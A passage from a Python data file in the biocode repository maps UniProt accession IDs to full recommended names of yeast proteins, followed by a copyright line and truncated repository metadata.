'Q12462' : ntuniprot(RecName_Full='Peroxisomal membrane protein PMP27'),
'Q12463' : ntuniprot(RecName_Full='tRNA (guanine(10)-N2)-methyltransferase'),
'Q12464' : ntuniprot(RecName_Full='RuvB-like protein 2'),
'Q12465' : ntuniprot(RecName_Full='Bud site selection protein RAX2'),
'Q12466' : ntuniprot(RecName_Full='Tricalbin-1'),
'Q12467' : ntuniprot(RecName_Full='MIOREX complex component 4 {ECO:0000305|PubMed:25683707}'),
'Q12468' : ntuniprot(RecName_Full='COP9 signalosome complex subunit 5'),
'Q12469' : ntuniprot(RecName_Full='Serine/threonine-protein kinase SKM1'),
'Q12470' : ntuniprot(RecName_Full='Transposon Ty1-NL2 Gag polyprotein'),
'Q12471' : ntuniprot(RecName_Full='6-phosphofructo-2-kinase 2'),
'Q12472' : ntuniprot(RecName_Full='Transposon Ty2-DR1 Gag-Pol polyprotein'),
'Q12473' : ntuniprot(RecName_Full='Ferric reductase transmembrane component 6'),
'Q12476' : ntuniprot(RecName_Full='Protein AIR2'),
'Q12477' : ntuniprot(RecName_Full='PHO85 cyclin-9'),
'Q12480' : ntuniprot(RecName_Full='Probable electron transfer flavoprotein subunit alpha, mitochondrial'),
'Q12481' : ntuniprot(RecName_Full='rRNA biogenesis protein RRP36'),
'Q12482' : ntuniprot(RecName_Full='Mitochondrial aspartate-glutamate transporter AGC1'),
'Q12483' : ntuniprot(RecName_Full='Vacuolar-sorting protein SNF8'),
'Q12485' : ntuniprot(RecName_Full='Transposon Ty1-GR2 Gag polyprotein'),
'Q12486' : ntuniprot(RecName_Full='Uncharacterized hydrolase YOR131C'),
'Q12487' : ntuniprot(RecName_Full='54S ribosomal protein L23, mitochondrial'),
'Q12488' : ntuniprot(RecName_Full='DNA replication complex GINS protein PSF1'),
'Q12489' : ntuniprot(RecName_Full='Cysteine-rich and transmembrane domain-containing protein YDL012C'),
'Q12490' : ntuniprot(RecName_Full='Transposon Ty1-BL Gag-Pol polyprotein'),
'Q12491' : ntuniprot(RecName_Full='Transposon Ty2-B Gag-Pol polyprotein'),
'Q12493' : ntuniprot(RecName_Full='Inner kinetochore subunit NKP1 {ECO:0000305}'),
'Q12494' : ntuniprot(RecName_Full='Inositol hexakisphosphate kinase 1'),
'Q12495' : ntuniprot(RecName_Full='Chromatin assembly factor 1 subunit p90'),
'Q12496' : ntuniprot(RecName_Full='Uncharacterized protein YOL098C'),
'Q12497' : ntuniprot(RecName_Full='Protein FMP16, mitochondrial'),
'Q12498' : ntuniprot(RecName_Full='Pheromone-regulated membrane protein 4'),
'Q12499' : ntuniprot(RecName_Full='Nucleolar protein 58'),
'Q12500' : ntuniprot(RecName_Full='Late secretory pathway protein AVL9'),
'Q12502' : ntuniprot(RecName_Full='Protein LDB19'),
'Q12504' : ntuniprot(RecName_Full='Ribosomal lysine N-methyltransferase 4 {ECO:0000303|PubMed:18957409}'),
'Q12505' : ntuniprot(RecName_Full='Serine/threonine-protein kinase SKS1'),
'Q12507' : ntuniprot(RecName_Full='Superficial pseudohyphal growth protein 1'),
'Q12508' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase RMD5 {ECO:0000305}'),
'Q12509' : ntuniprot(RecName_Full='Actin-like protein ARP6'),
'Q12510' : ntuniprot(RecName_Full='DNA damage-binding protein CMR1 {ECO:0000305|PubMed:22367945}'),
'Q12511' : ntuniprot(RecName_Full='[Pyruvate dehydrogenase [acetyl-transferring]]-phosphatase 1, mitochondrial'),
'Q12512' : ntuniprot(RecName_Full='Protein ZPS1'),
'Q12513' : ntuniprot(RecName_Full='Translation machinery-associated protein 17'),
'Q12514' : ntuniprot(RecName_Full='General negative regulator of transcription subunit 5'),
'Q12515' : ntuniprot(RecName_Full='Protein PAR32'),
'Q12516' : ntuniprot(RecName_Full='Regulator of phospholipase D SRF1'),
'Q12517' : ntuniprot(RecName_Full='mRNA-decapping enzyme subunit 1'),
'Q12518' : ntuniprot(RecName_Full='Epsin-1'),
'Q12520' : ntuniprot(RecName_Full='UDP-galactose transporter homolog 1'),
'Q12522' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 6 {ECO:0000255|HAMAP-Rule:MF_03132}'),
'Q12523' : ntuniprot(RecName_Full='WD repeat-containing protein YPL247C'),
'Q12524' : ntuniprot(RecName_Full='Peroxisomal coenzyme A diphosphatase 1, peroxisomal'),
'Q12525' : ntuniprot(RecName_Full='Homocysteine S-methyltransferase 1'),
'Q12527' : ntuniprot(RecName_Full='Autophagy-related protein 11'),
'Q12529' : ntuniprot(RecName_Full='Potential protein lysine methyltransferase SET6'),
'Q12530' : ntuniprot(RecName_Full='Ribonuclease MRP protein subunit RMP1'),
'Q12531' : ntuniprot(RecName_Full='Zinc finger protein YPR015C'),
'Q12532' : ntuniprot(RecName_Full='Ribosome quality control complex subunit 2 {ECO:0000303|PubMed:25554787}'),
'Q12672' : ntuniprot(RecName_Full='60S ribosomal protein L21-B {ECO:0000303|PubMed:9559554}'),
'Q12674' : ntuniprot(RecName_Full='Probable phospholipid-transporting ATPase DNF3'),
'Q12675' : ntuniprot(RecName_Full='Phospholipid-transporting ATPase DNF2'),
'Q12676' : ntuniprot(RecName_Full='Dihydrofolate synthetase'),
'Q12680' : ntuniprot(RecName_Full='Glutamate synthase [NADH]'),
'Q12690' : ntuniprot(RecName_Full='60S ribosomal protein L13-A {ECO:0000303|PubMed:9559554}'),
'Q12691' : ntuniprot(RecName_Full='Sodium transport ATPase 5'),
'Q12692' : ntuniprot(RecName_Full='Histone H2A.Z'),
'Q12697' : ntuniprot(RecName_Full='Vacuolar cation-transporting ATPase YPK9'),
'Q12734' : ntuniprot(RecName_Full='Transcription factor CSR2'),
'Q12743' : ntuniprot(RecName_Full='DER1-like family member protein 1'),
'Q12745' : ntuniprot(RecName_Full='Protein transport protein SEC39'),
'Q12746' : ntuniprot(RecName_Full='Plasma membrane-associated coenzyme Q6 reductase PGA3'),
'Q12748' : ntuniprot(RecName_Full='Inner kinetochore subunit CTF3 {ECO:0000305}'),
'Q12749' : ntuniprot(RecName_Full='Structural maintenance of chromosomes protein 6'),
'Q12751' : ntuniprot(RecName_Full='RNA polymerase II assembly factor RTP1 {ECO:0000305|PubMed:23438601}'),
'Q12753' : ntuniprot(RecName_Full='Transcriptional activator HAA1'),
'Q12754' : ntuniprot(RecName_Full='Ribosomal RNA-processing protein 12'),
'Q2V2P0' : ntuniprot(RecName_Full='Uncharacterized protein YPR145C-A'),
'Q2V2P1' : ntuniprot(RecName_Full='Coiled-coil domain-containing protein YLR146W-A'),
'Q2V2P2' : ntuniprot(RecName_Full='Uncharacterized protein YKL065W-A'),
'Q2V2P3' : ntuniprot(RecName_Full='Uncharacterized protein YKL023C-A'),
'Q2V2P4' : ntuniprot(RecName_Full='Uncharacterized protein YIL156W-B'),
'Q2V2P5' : ntuniprot(RecName_Full='Uncharacterized protein YIL102C-A'),
'Q2V2P6' : ntuniprot(RecName_Full='Uncharacterized protein YGL194C-A'),
'Q2V2P7' : ntuniprot(RecName_Full='Uncharacterized protein YDR461C-A'),
'Q2V2P8' : ntuniprot(RecName_Full='Inner kinetochore subunit WIP1 {ECO:0000305}'),
'Q2V2P9' : ntuniprot(RecName_Full='Uncharacterized protein YDR119W-A'),
'Q2V2Q0' : ntuniprot(RecName_Full='Putative uncharacterized protein YDL007C-A'),
'Q2V2Q1' : ntuniprot(RecName_Full='Antisense of depressing factor protein 1'),
'Q2V2Q2' : ntuniprot(RecName_Full='Uncharacterized protein YCL048W-A'),
'Q2V2Q3' : ntuniprot(RecName_Full='Putative uncharacterized protein YBR201C-A'),
'Q3E6R4' : ntuniprot(RecName_Full='Uncharacterized protein YDR524C-B'),
'Q3E6R5' : ntuniprot(RecName_Full='Uncharacterized mitochondrial outer membrane protein YDR381C-A'),
'Q3E705' : ntuniprot(RecName_Full='rRNA-processing protein EFG1'),
'Q3E731' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly protein COX19'),
'Q3E732' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR264C-A'),
'Q3E735' : ntuniprot(RecName_Full='Uncharacterized membrane protein YOR034C-A'),
'Q3E736' : ntuniprot(RecName_Full='Uncharacterized protein YOR192C-C'),
'Q3E737' : ntuniprot(RecName_Full='Uncharacterized protein YJL047C-A'),
'Q3E739' : ntuniprot(RecName_Full='Uncharacterized protein YIR021W-A'),
'Q3E740' : ntuniprot(RecName_Full='Uncharacterized protein YGL258W-A'),
'Q3E741' : ntuniprot(RecName_Full='Putative uncharacterized protein YAL037C-A'),
'Q3E742' : ntuniprot(RecName_Full='Uncharacterized protein YLR412C-A'),
'Q3E743' : ntuniprot(RecName_Full='Uncharacterized protein YJR112W-A'),
'Q3E744' : ntuniprot(RecName_Full='Uncharacterized protein YGR161W-C'),
'Q3E746' : ntuniprot(RecName_Full='Uncharacterized protein YHR086W-A'),
'Q3E747' : ntuniprot(RecName_Full='Uncharacterized protein YLR363W-A'),
'Q3E750' : ntuniprot(RecName_Full='Uncharacterized protein YGL041C-B'),
'Q3E751' : ntuniprot(RecName_Full='Uncharacterized protein YPL119C-A'),
'Q3E752' : ntuniprot(RecName_Full='Sporulation protein 24 {ECO:0000303|PubMed:25127041}'),
'Q3E754' : ntuniprot(RecName_Full='40S ribosomal protein S21-B {ECO:0000303|PubMed:9559554}'),
'Q3E755' : ntuniprot(RecName_Full='Uncharacterized protein YBR200W-A'),
'Q3E756' : ntuniprot(RecName_Full='UPF0768 protein YBL029C-A'),
'Q3E757' : ntuniprot(RecName_Full='60S ribosomal protein L11-B {ECO:0000303|PubMed:9559554}'),
'Q3E758' : ntuniprot(RecName_Full='Uncharacterized protein YHL048C-A'),
'Q3E760' : ntuniprot(RecName_Full='Uncharacterized protein YMR030W-A'),
'Q3E762' : ntuniprot(RecName_Full='Putative uncharacterized protein YBR230W-A'),
'Q3E763' : ntuniprot(RecName_Full='Uncharacterized protein YDR246W-A'),
'Q3E764' : ntuniprot(RecName_Full='Translation machinery-associated protein 7'),
'Q3E765' : ntuniprot(RecName_Full='Uncharacterized protein YKL183C-A'),
'Q3E766' : ntuniprot(RecName_Full='Uncharacterized protein YMR175W-A'),
'Q3E767' : ntuniprot(RecName_Full='Uncharacterized protein YNL067W-B'),
'Q3E769' : ntuniprot(RecName_Full='Uncharacterized protein YOL159C-A'),
'Q3E770' : ntuniprot(RecName_Full='Seripauperin-9'),
'Q3E771' : ntuniprot(RecName_Full='Uncharacterized protein YLR285C-A'),
'Q3E772' : ntuniprot(RecName_Full='Protein LSO2 {ECO:0000305}'),
'Q3E774' : ntuniprot(RecName_Full='Uncharacterized protein YDL159W-A'),
'Q3E775' : ntuniprot(RecName_Full='Uncharacterized protein YJR151W-A'),
'Q3E776' : ntuniprot(RecName_Full='Uncharacterized protein YBR255C-A'),
'Q3E778' : ntuniprot(RecName_Full='Uncharacterized protein YBR196C-B'),
'Q3E781' : ntuniprot(RecName_Full='Uncharacterized protein YBR221W-A'),
'Q3E782' : ntuniprot(RecName_Full='Uncharacterized protein YMR247W-A'),
'Q3E784' : ntuniprot(RecName_Full='SCOCO-like protein 1'),
'Q3E785' : ntuniprot(RecName_Full='Succinate dehydrogenase assembly factor 1, mitochondrial {ECO:0000303|PubMed:19465911}'),
'Q3E786' : ntuniprot(RecName_Full='Uncharacterized protein YGR240C-A'),
'Q3E787' : ntuniprot(RecName_Full='Putative uncharacterized protein YCR095W-A'),
'Q3E789' : ntuniprot(RecName_Full='Uncharacterized protein YDR169C-A'),
'Q3E790' : ntuniprot(RecName_Full='Serine palmitoyltransferase-regulating protein TSC3'),
'Q3E791' : ntuniprot(RecName_Full='Uncharacterized protein YAL063C-A'),
'Q3E792' : ntuniprot(RecName_Full='40S ribosomal protein S25-A {ECO:0000303|PubMed:9559554}'),
'Q3E793' : ntuniprot(RecName_Full='BolA-like protein 1 {ECO:0000305}'),
'Q3E794' : ntuniprot(RecName_Full='Uncharacterized protein YBR072C-A'),
'Q3E795' : ntuniprot(RecName_Full='Uncharacterized protein YLR361C-A'),
'Q3E796' : ntuniprot(RecName_Full='Uncharacterized protein YDR182W-A'),
'Q3E798' : ntuniprot(RecName_Full='Uncharacterized protein YLR099W-A'),
'Q3E7A0' : ntuniprot(RecName_Full='Uncharacterized protein YKL106C-A'),
'Q3E7A2' : ntuniprot(RecName_Full='Uncharacterized protein YER078W-A'),
'Q3E7A3' : ntuniprot(RecName_Full='Uncharacterized protein YJL133C-A'),
'Q3E7A4' : ntuniprot(RecName_Full='COX assembly mitochondrial protein 2'),
'Q3E7A5' : ntuniprot(RecName_Full='Uncharacterized protein YOL164W-A'),
'Q3E7A6' : ntuniprot(RecName_Full='Uncharacterized protein YML007C-A, mitochondrial'),
'Q3E7A7' : ntuniprot(RecName_Full='Uncharacterized protein YKL018C-A'),
'Q3E7A8' : ntuniprot(RecName_Full='Uncharacterized protein YNL162W-A'),
'Q3E7A9' : ntuniprot(RecName_Full='Cx9C motif-containing protein 4, mitochondrial'),
'Q3E7B0' : ntuniprot(RecName_Full='Uncharacterized protein YER053C-A'),
'Q3E7B2' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly factor 3, mitochondrial'),
'Q3E7B3' : ntuniprot(RecName_Full='Uncharacterized protein YPR108W-A'),
'Q3E7B4' : ntuniprot(RecName_Full='Uncharacterized protein YPL038W-A'),
'Q3E7B5' : ntuniprot(RecName_Full='Uncharacterized protein YMR230W-A'),
'Q3E7B6' : ntuniprot(RecName_Full='V-type proton ATPase subunit e'),
'Q3E7B7' : ntuniprot(RecName_Full='SERF-like protein YDL085C-A'),
'Q3E7B9' : ntuniprot(RecName_Full='Uncharacterized protein YOR008C-A'),
'Q3E7C1' : ntuniprot(RecName_Full='General transcription and DNA repair factor IIH subunit TFB5'),
'Q3E7X8' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase YEL077C"),
'Q3E7X9' : ntuniprot(RecName_Full='40S ribosomal protein S28-A {ECO:0000303|PubMed:9559554}'),
'Q3E7Y3' : ntuniprot(RecName_Full='40S ribosomal protein S22-B {ECO:0000303|PubMed:9559554}'),
'Q3E7Y4' : ntuniprot(RecName_Full='Putative uncharacterized helicase-like protein YBL112C'),
'Q3E7Y5' : ntuniprot(RecName_Full='Uncharacterized helicase-like protein YBL111C'),
'Q3E7Y6' : ntuniprot(RecName_Full='N-terminal-borealin-like protein'),
'Q3E7Y7' : ntuniprot(RecName_Full='Uncharacterized protein YOR293C-A'),
'Q3E7Y8' : ntuniprot(RecName_Full='Uncharacterized protein YOL155W-A'),
'Q3E7Y9' : ntuniprot(RecName_Full='Uncharacterized protein YOL097W-A'),
'Q3E7Z0' : ntuniprot(RecName_Full='Uncharacterized protein YNL277W-A'),
'Q3E7Z1' : ntuniprot(RecName_Full='Uncharacterized protein YNL146C-A'),
'Q3E7Z2' : ntuniprot(RecName_Full='Uncharacterized protein YNL042W-B'),
'Q3E7Z3' : ntuniprot(RecName_Full='Uncharacterized protein YIR018C-A'),
'Q3E7Z4' : ntuniprot(RecName_Full='Uncharacterized protein YIL046W-A'),
'Q3E7Z5' : ntuniprot(RecName_Full='Uncharacterized protein YIL002W-A'),
'Q3E7Z6' : ntuniprot(RecName_Full='Uncharacterized protein YHL015W-A'),
'Q3E7Z7' : ntuniprot(RecName_Full='Uncharacterized protein YDR003W-A'),
'Q3E7Z8' : ntuniprot(RecName_Full='Uncharacterized protein YCR024C-B'),
'Q3E7Z9' : ntuniprot(RecName_Full='Uncharacterized protein YOL038C-A'),
'Q3E801' : ntuniprot(RecName_Full='Uncharacterized protein YJL136W-A'),
'Q3E802' : ntuniprot(RecName_Full='Uncharacterized protein YGL006W-A'),
'Q3E804' : ntuniprot(RecName_Full='Uncharacterized protein YOR381W-A'),
'Q3E805' : ntuniprot(RecName_Full='Uncharacterized protein YOR376W-A'),
'Q3E806' : ntuniprot(RecName_Full='Uncharacterized protein YOR316C-A'),
'Q3E807' : ntuniprot(RecName_Full='Uncharacterized protein YOR011W-A'),
'Q3E808' : ntuniprot(RecName_Full='2-deoxy-glucose resistant protein 1, mitochondrial'),
'Q3E809' : ntuniprot(RecName_Full='Uncharacterized protein YML054C-A'),
'Q3E810' : ntuniprot(RecName_Full='Uncharacterized protein YLR342W-A'),
'Q3E811' : ntuniprot(RecName_Full='Regulator of rDNA transcription protein 15'),
'Q3E813' : ntuniprot(RecName_Full='Uncharacterized protein YLR154C-G'),
'Q3E814' : ntuniprot(RecName_Full='Uncharacterized protein YLL006W-A'),
'Q3E815' : ntuniprot(RecName_Full='Uncharacterized membrane protein YHR175W-A'),
'Q3E816' : ntuniprot(RecName_Full='Uncharacterized protein YGR121W-A'),
'Q3E817' : ntuniprot(RecName_Full='Uncharacterized protein YFL041W-A'),
'Q3E818' : ntuniprot(RecName_Full='Uncharacterized protein YDR194W-A'),
'Q3E819' : ntuniprot(RecName_Full='Uncharacterized protein YCR108C'),
'Q3E820' : ntuniprot(RecName_Full='Uncharacterized protein YBR196C-A'),
'Q3E821' : ntuniprot(RecName_Full='Uncharacterized protein YBL008W-A'),
'Q3E823' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly factor 2'),
'Q3E824' : ntuniprot(RecName_Full='Uncharacterized protein YOR020W-A'),
'Q3E825' : ntuniprot(RecName_Full='Uncharacterized protein YLR307C-A'),
'Q3E826' : ntuniprot(RecName_Full='Uncharacterized protein YKL068W-A'),
'Q3E827' : ntuniprot(RecName_Full='Protein LSO1 {ECO:0000305}'),
'Q3E828' : ntuniprot(RecName_Full='UPF0618 protein YJL127C-B'),
'Q3E829' : ntuniprot(RecName_Full='Inner kinetochore subunit MHF2 {ECO:0000305}'),
'Q3E830' : ntuniprot(RecName_Full='Uncharacterized protein YCR075W-A'),
'Q3E832' : ntuniprot(RecName_Full='Uncharacterized protein YOR072W-B'),
'Q3E833' : ntuniprot(RecName_Full='EKC/KEOPS complex subunit PCC1'),
'Q3E834' : ntuniprot(RecName_Full='Protein transport protein YOS1'),
'Q3E835' : ntuniprot(RecName_Full='Inner kinetochore subunit MHF1 {ECO:0000305}'),
'Q3E837' : ntuniprot(RecName_Full='Uncharacterized protein YJL052C-A'),
'Q3E838' : ntuniprot(RecName_Full='Uncharacterized protein YFR012W-A'),
'Q3E840' : ntuniprot(RecName_Full='Diphthamide biosynthesis protein 3'),
'Q3E841' : ntuniprot(RecName_Full='Uncharacterized protein YNR034W-A'),
'Q3E842' : ntuniprot(RecName_Full='Uncharacterized endoplasmic reticulum membrane protein YMR122W-A'),
'Q3E843' : ntuniprot(RecName_Full='Uncharacterized protein YMR158C-A'),
'Q3E846' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly factor 6 {ECO:0000303|PubMed:22984289}'),
'Q45U18' : ntuniprot(RecName_Full='Uncharacterized protein YIL134C-A'),
'Q45U48' : ntuniprot(RecName_Full='Uncharacterized protein YGR035W-A'),
'Q6B2U8' : ntuniprot(RecName_Full='Topoisomerase I damage affected protein 8'),
'Q6Q546' : ntuniprot(RecName_Full='Ubiquitin-like modifier HUB1'),
'Q6Q547' : ntuniprot(RecName_Full='H/ACA ribonucleoprotein complex subunit NOP10'),
'Q6Q560' : ntuniprot(RecName_Full='Protein ISD11'),
'Q6Q595' : ntuniprot(RecName_Full='Vesicle-associated membrane protein-associated protein SCS22'),
'Q6Q5H1' : ntuniprot(RecName_Full='Transposon Ty1-PR3 Gag polyprotein'),
'Q6Q5K6' : ntuniprot(RecName_Full='MEC1-mediated checkpoint protein HUG1'),
'Q6Q5P6' : ntuniprot(RecName_Full='Transposon Ty4-H Gag polyprotein'),
'Q6Q5X2' : ntuniprot(RecName_Full='Cysteine-rich and transmembrane domain-containing protein YDR034W-B'),
'Q6WNK7' : ntuniprot(RecName_Full='Transcription and mRNA export factor SUS1 {ECO:0000255|HAMAP-Rule:MF_03046}'),
'Q7LHG5' : ntuniprot(RecName_Full='Transposon Ty3-I Gag-Pol polyprotein'),
'Q7M4S9' : ntuniprot(RecName_Full='Uncharacterized protein YBL113C'),
'Q86ZR7' : ntuniprot(RecName_Full='Uncharacterized hydrolase YKL033W-A'),
'Q8J0M4' : ntuniprot(RecName_Full='UPF0357 protein YCL012C'),
'Q8TGJ0' : ntuniprot(RecName_Full='Uncharacterized protein YOR394C-A'),
'Q8TGJ1' : ntuniprot(RecName_Full='UPF0320 protein YOL166W-A'),
'Q8TGJ2' : ntuniprot(RecName_Full='Putative UPF0377 protein YNR075C-A'),
'Q8TGJ3' : ntuniprot(RecName_Full='Protein kish'),
'Q8TGJ7' : ntuniprot(RecName_Full='Uncharacterized protein YLL066W-B'),
'Q8TGK0' : ntuniprot(RecName_Full='Putative uncharacterized protein YHR214C-E'),
'Q8TGK1' : ntuniprot(RecName_Full='Uncharacterized protein YHR213W-B'),
'Q8TGK4' : ntuniprot(RecName_Full='Uncharacterized protein YBR298C-A'),
'Q8TGK6' : ntuniprot(RecName_Full='Putative UPF0377 protein YAL067W-A'),
'Q8TGM6' : ntuniprot(RecName_Full='Protein TAR1'),
'Q8TGN3' : ntuniprot(RecName_Full='Uncharacterized protein YJL077W-A'),
'Q8TGN5' : ntuniprot(RecName_Full='Uncharacterized protein YIL105W-A'),
'Q8TGN9' : ntuniprot(RecName_Full='Protein NAG1'),
'Q8TGQ7' : ntuniprot(RecName_Full='Uncharacterized protein YPR159C-A'),
'Q8TGR9' : ntuniprot(RecName_Full='Uncharacterized protein YPL152W-A'),
'Q8TGS0' : ntuniprot(RecName_Full='Uncharacterized protein YOR161C-C'),
'Q8TGS1' : ntuniprot(RecName_Full='Uncharacterized protein YOR032W-A'),
'Q8TGS2' : ntuniprot(RecName_Full='Uncharacterized protein YOL019W-A'),
'Q8TGS4' : ntuniprot(RecName_Full='Uncharacterized protein YMR315W-A'),
'Q8TGS5' : ntuniprot(RecName_Full='Uncharacterized protein YMR272W-B'),
'Q8TGS6' : ntuniprot(RecName_Full='Uncharacterized protein YMR242W-A'),
'Q8TGS7' : ntuniprot(RecName_Full='Uncharacterized protein YMR182W-A'),
'Q8TGS8' : ntuniprot(RecName_Full='Uncharacterized protein YMR105W-A'),
'Q8TGS9' : ntuniprot(RecName_Full='Uncharacterized protein YMR001C-A'),
'Q8TGT0' : ntuniprot(RecName_Full='Uncharacterized protein YML100W-A'),
'Q8TGT1' : ntuniprot(RecName_Full='Uncharacterized protein YLR406C-A'),
'Q8TGT2' : ntuniprot(RecName_Full='Uncharacterized protein YKL096C-B'),
'Q8TGT3' : ntuniprot(RecName_Full='Uncharacterized protein YJL077W-B'),
'Q8TGT4' : ntuniprot(RecName_Full='Uncharacterized protein YHR213W-A'),
'Q8TGT6' : ntuniprot(RecName_Full='Uncharacterized protein YHR022C-A'),
'Q8TGT7' : ntuniprot(RecName_Full='Uncharacterized protein YGR204C-A'),
'Q8TGT8' : ntuniprot(RecName_Full='Uncharacterized protein YGR174W-A'),
'Q8TGT9' : ntuniprot(RecName_Full='Uncharacterized protein YGR146C-A'),
'Q8TGU0' : ntuniprot(RecName_Full='Uncharacterized protein YGL007C-A'),
'Q8TGU1' : ntuniprot(RecName_Full='Uncharacterized protein YGL188C-A'),
'Q8TGU2' : ntuniprot(RecName_Full='Uncharacterized protein YFR032C-B'),
'Q8TGU4' : ntuniprot(RecName_Full='Uncharacterized protein YER175W-A'),
'Q8TGU5' : ntuniprot(RecName_Full='Uncharacterized protein YBR296C-A'),
'Q8TGU6' : ntuniprot(RecName_Full='Uncharacterized protein YBR182C-A'),
'Q8TGU7' : ntuniprot(RecName_Full='Uncharacterized protein YBR126W-A'),
'Q8TGU8' : ntuniprot(RecName_Full='Uncharacterized protein YBL071C-B'),
'Q8TGV0' : ntuniprot(RecName_Full='Uncharacterized protein YAR035C-A'),
'Q92316' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit OST5'),
'Q92317' : ntuniprot(RecName_Full='Negative cofactor 2 complex subunit beta'),
'Q92325' : ntuniprot(RecName_Full='Cullin-associated NEDD8-dissociated protein 1 homolog'),
'Q92328' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 12 {ECO:0000255|HAMAP-Rule:MF_03104}'),
'Q92331' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 5'),
'Q92392' : ntuniprot(RecName_Full='Transposon Ty1-OL Gag polyprotein'),
'Q92393' : ntuniprot(RecName_Full='Transposon Ty1-OR Gag-Pol polyprotein'),
'Q96VH2' : ntuniprot(RecName_Full='Putative pelota-like protein YCL001W-B'),
'Q96VH3' : ntuniprot(RecName_Full='Putative uncharacterized protein YCL021W-A'),
'Q96VH4' : ntuniprot(RecName_Full='Putative nitroreductase HBN1'),
'Q96VH5' : ntuniprot(RecName_Full='MICOS complex subunit MIC10'),
'Q99176' : ntuniprot(RecName_Full='Protein SRN2'),
'Q99177' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor BRR1'),
'Q99181' : ntuniprot(RecName_Full='Protein HSH49'),
'Q99186' : ntuniprot(RecName_Full='AP-2 complex subunit mu'),
'Q99188' : ntuniprot(RecName_Full='Regulator of G-protein signaling 2'),
'Q99189' : ntuniprot(RecName_Full='mRNA transport regulator MTR10'),
'Q99190' : ntuniprot(RecName_Full='Very-long-chain enoyl-CoA reductase {ECO:0000305}'),
'Q99207' : ntuniprot(RecName_Full='Nucleolar complex protein 14'),
'Q99208' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase YLL066C"),
'Q99210' : ntuniprot(RecName_Full='dTTP/UTP pyrophosphatase {ECO:0000305}'),
'Q99216' : ntuniprot(RecName_Full='Pre-rRNA-processing protein PNO1'),
'Q99220' : ntuniprot(RecName_Full='Protein OS-9 homolog'),
'Q99222' : ntuniprot(RecName_Full='ARF3-interacting protein 1'),
'Q99231' : ntuniprot(RecName_Full='Transposon Ty1-DR3 Gag-Pol polyprotein'),
'Q99234' : ntuniprot(RecName_Full='Protein DFG16'),
'Q99247' : ntuniprot(RecName_Full='Uncharacterized WD repeat-containing protein YOL087C'),
'Q99248' : ntuniprot(RecName_Full='Uncharacterized protein YOR019W'),
'Q99252' : ntuniprot(RecName_Full='Protein ECM3'),
'Q99257' : ntuniprot(RecName_Full='mRNA export factor MEX67'),
'Q99258' : ntuniprot(RecName_Full='3,4-dihydroxy-2-butanone 4-phosphate synthase'),
'Q99260' : ntuniprot(RecName_Full='GTP-binding protein YPT6'),
'Q99271' : ntuniprot(RecName_Full='Na(+)/H(+) antiporter'),
'Q99278' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 11'),
'Q99287' : ntuniprot(RecName_Full='Protein SEY1 {ECO:0000255|HAMAP-Rule:MF_03109}'),
'Q99288' : ntuniprot(RecName_Full='Broad-range acid phosphatase DET1'),
'Q99296' : ntuniprot(RecName_Full='Uncharacterized protein YLR149C'),
'Q99297' : ntuniprot(RecName_Full='Mitochondrial 2-oxodicarboxylate carrier 2'),
'Q99299' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 44'),
'Q99303' : ntuniprot(RecName_Full='Transposon Ty2-DR3 Gag polyprotein'),
'Q99312' : ntuniprot(RecName_Full="IMP-specific 5'-nucleotidase 1 {ECO:0000303|PubMed:8141771}"),
'Q99314' : ntuniprot(RecName_Full='Something about silencing protein 5'),
'Q99315' : ntuniprot(RecName_Full='Transposon Ty3-G Gag-Pol polyprotein'),
'Q99316' : ntuniprot(RecName_Full='Protein disulfide isomerase MPD2'),
'Q99321' : ntuniprot(RecName_Full='Diphosphoinositol polyphosphate phosphohydrolase DDP1'),
'Q99325' : ntuniprot(RecName_Full='Autophagy-related protein 40 {ECO:0000303|PubMed:26040717}'),
'Q99326' : ntuniprot(RecName_Full='SWIRM domain-containing protein YOR338W'),
'Q99332' : ntuniprot(RecName_Full='Protein HPH1'),
'Q99337' : ntuniprot(RecName_Full='Transposon Ty1-NL2 Gag-Pol polyprotein'),
'Q99344' : ntuniprot(RecName_Full='NEDD8-activating enzyme E1 catalytic subunit'),
'Q99359' : ntuniprot(RecName_Full='Protein RAD61'),
'Q99369' : ntuniprot(RecName_Full='Family of serine hydrolases 3'),
'Q99373' : ntuniprot(RecName_Full='Protein PET20, mitochondrial'),
'Q99380' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit OST4'),
'Q99382' : ntuniprot(RecName_Full='SRP-independent targeting protein 2 {ECO:0000303|PubMed:27905431}'),
'Q99383' : ntuniprot(RecName_Full='Nuclear polyadenylated RNA-binding protein 4'),
'Q99385' : ntuniprot(RecName_Full='Vacuolar calcium ion transporter'),
'Q99393' : ntuniprot(RecName_Full='ADIPOR-like receptor IZH4'),
'Q99394' : ntuniprot(RecName_Full='Trafficking protein particle complex subunit 33'),
'Q99395' : ntuniprot(RecName_Full='Uncharacterized protein YPL229W'),
'Q9P305' : ntuniprot(RecName_Full='mRNA stability protein IGO2'),
'Q9URQ3' : ntuniprot(RecName_Full='tRNA-specific adenosine deaminase subunit TAD3'),
'Q9URQ5' : ntuniprot(RecName_Full='High temperature lethal protein 1'),
'Q9ZZW7' : ntuniprot(RecName_Full='Cytochrome b mRNA maturase bI3'),
'Q9ZZX0' : ntuniprot(RecName_Full='Intron-encoded DNA endonuclease aI5 beta'),
'Q9ZZX1' : ntuniprot(RecName_Full='Intron-encoded DNA endonuclease aI5 alpha'),
}
# Copyright (C) 2014-2019 DV Klopfenstein. All rights reserved
| {
"content_hash": "b5c70c8dc0a626c708d04021e17a1152",
"timestamp": "",
"source": "github",
"line_count": 5934,
"max_line_length": 166,
"avg_line_length": 76.79305695989214,
"alnum_prop": 0.7511268625600738,
"repo_name": "dvklopfenstein/biocode",
"id": "573f7adaf0395336258239b933b2fc5cab21ae45",
"size": "455690",
"binary": false,
"copies": "1",
